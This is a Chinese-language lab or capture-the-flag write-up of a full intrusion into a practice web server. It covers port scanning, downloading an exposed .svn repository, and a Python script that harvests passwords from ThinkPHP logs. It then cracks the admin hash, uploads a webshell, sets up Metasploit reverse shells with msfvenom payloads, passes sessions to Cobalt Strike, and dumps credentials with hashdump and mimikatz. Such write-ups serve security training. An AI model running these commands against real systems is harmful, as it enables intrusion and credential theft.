使用的是暗月提供的环境
直接虚拟机运行即可
设置网络环境
网卡配置的时候为了方便直接使用的是暗月的vm19的网卡配置的内网环境
我们已经知道目标主机
192.168.1.150
sudo masscan -p 1-65535 192.168.1.150 --rate=1000
结果
开启的有445、3389、80的特殊端口
断定是win服务器
访问
直接访问是被拒绝的、典型的phpstady。
这里暂时不管、我们继续扫描、查看开放的端口之后使用nmap就进行扫描
sudo nmap -p 3306,445,3389,80,47001,49152,49156,49153,135,49157 -sS -sC -A 192.168.1.150 -oA web150-p
这里我们还发现了目标机使用的dns解析的地址信息
由于前面我们在访问的时候就知道是访问不了的肯定是需要进行域名的绑定的
绑定完成后在访问
一个信用贷的平台
whatweb www.webhack123.com
使用的是thinkphp的框架
python3 dirsearch.py -u "www.webhack123.com" -e *![](https://gitee.com/jokerjq/like4h-blog-img/raw/master/images/image-20220118232949286.png)
gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt -t 50
python3 dirmap.py -i http://www.webhack123.com -lcf
项目
https://github.com/H4ckForJob/dirmap
在三个工具中我们发现是由.svn文件的、这里我们使用工具进行下载
我们先去进行访问一下
发现是有内容的
使用工具进行下载
这里我们使用的工具是
进行下载
./rip-svn.pl -v -u http://www.webhack123.com/.svn
然后我们可以看到下载的结果
将源码下载下来
虽然我们将文件下载了下来但是发现是没有下载本应该存在的wc.db的数据库文件的、有的文件是需要我们自己进行下载的
完成下载
对于db数据库我们可以使用sqlite软件进行打开
对于这个数据表的作用我们只是为了查看网站的历史使用记录的情况、为了方便我们摸清楚网站的目录结构、这里我们是已经下载了网站的整个目录文件的
这样我们对于整个网站的基本目录结构已经是知道了、查看有无后台管理登录页面
网站的教程里面有一些配置信息的所在地
发现后台管理的地址
http://admin.webhack123.com/
这里还是需要进行域名绑定的
然后我们再次访问
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jPsT0Smc-1643374933273)(https://gitee.com/jokerjq/like4h-blog-img/raw/master/images/image-20220119215406318.png)]
这里就需要我们获取数据库管理员账号密码
接着往下看我们还掌握数据库的信息
对于这种有暴露完整的日志文件的、我们可以在日志文件中查看一下有无管理员修改密码的操作的记录、
我们可以在工具中的搜索功能自己进行搜索
也可以写个脚本自己遍历文件的内容
但是这种方法只能是查找源码上面备份的、我们是不确定这个备份是不是最新的、所以我们要根据这个格式查找最新年份的log日志文件
脚本
#coding:utf-8
import requests
testurl= "http://www.webhack123.com/App/Runtime/Logs/18_07_04.log"
url = "http://www.webhack123.com/App/Runtime/Logs/"
#关于日期
def logtime(url,yeas):
nurls = []
for month in range(1,13):
for day in range(1,33):
if month < 10:
if day < 10:
nurls.append(url+"%s_0%s_0%s.log" %(yeas,month,day))
else:
nurls.append(url+"%s_0%s_%s.log" %(yeas,month,day))
else:
if day < 10:
nurls.append(url+"%s_%s_0%s.log" %(yeas,month,day))
else:
nurls.append(url+"%s_%s_%s.log" %(yeas,month,day))
return nurls
#print(logtime(url,19))
yeas = [18,19,20,21]
for i in yeas:
nurls = logtime(url,i)
#print(nurls)
for j in nurls:
result = requests.get(j)
if result.status_code == 200:
print(j)
if "password" in result.text:
with open("webpasswd.txt","a",encoding="utf-8") as f:
f.write(result.text)
在次查找
得到最新的密码
74c774ef39b5b977c1fd59dbfc73c3e380a65aa3
然后进行MD5解密
但是要密码、哦豁花钱的东西咱不搞、换
somd5.com
nice
去登陆
登录成功
先在平台逛逛、基本上管理员的用户后台都会有上传的地方的、
写个小马、getshell
查看基本信息
system权限
数据库
配置文件
查看数据表
是可以查看的
然后我们查看网卡信息
哦豁里面还有大动作
msfconcle
use /multi/handler
set payload windows/meterpreter/reverse_http
show options
set lhost 0.0.0.0
set lport 9999
run
然后将上线的session转发到这个新建的监听器上
msf成功上线
在冰蝎3.0以后就有反弹shell直接到msf的功能了
直接选择连msf然后跟着下面的提示做就行
打开MSF
msfconcle
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
shwo options
set lhost 0.0.0.0
set port 9999
run
执行完成过后在冰蝎的页面点击matesploit连接
然后在msf上就会收到session会话
然后进行设置session转发到cs上
先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中
设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.1.130 //cs主机地址
set LPORT 4444 //随意设置监听端口,需要和cs保持一致
set session 1 //设置需要派送的meterpreter
set DisablePayloadHandler true //禁止产生一个新的handler
回到cs上建立新的监听器
然后启用监听器
在msf里面执行run
成功上线
打开MSF
在msfvenom上生成攻击载荷
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.130 LPORT=9999 -f exe > shell.exe
在MSF上进行监听
use /multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 0.0.0.0 //cs主机地址
set LPORT 9999 //随意设置监听端口,需要和cs保持一致
show options
run
将msfvenom生成的shell.exe上传到目标中
然后执行shell.exe的文件
这时候会在msf收到session会话
然后在将会话转发到cs上-就跟步骤二是一样的转发方式
当然以上这些互相的转发时对于cs上线使用的都是http协议的但是对于Linux的payload中是没有http协议的payload的
我们可以在MSF里面进行执行命令
hashdump
还可以使用这个命令查看
run post/windows/gather/smart_hashdump
or
也可以进入mimikatz交互(针对win开发的模块)
load mimikatz
一般密码是由存在这里的
creds_kerberos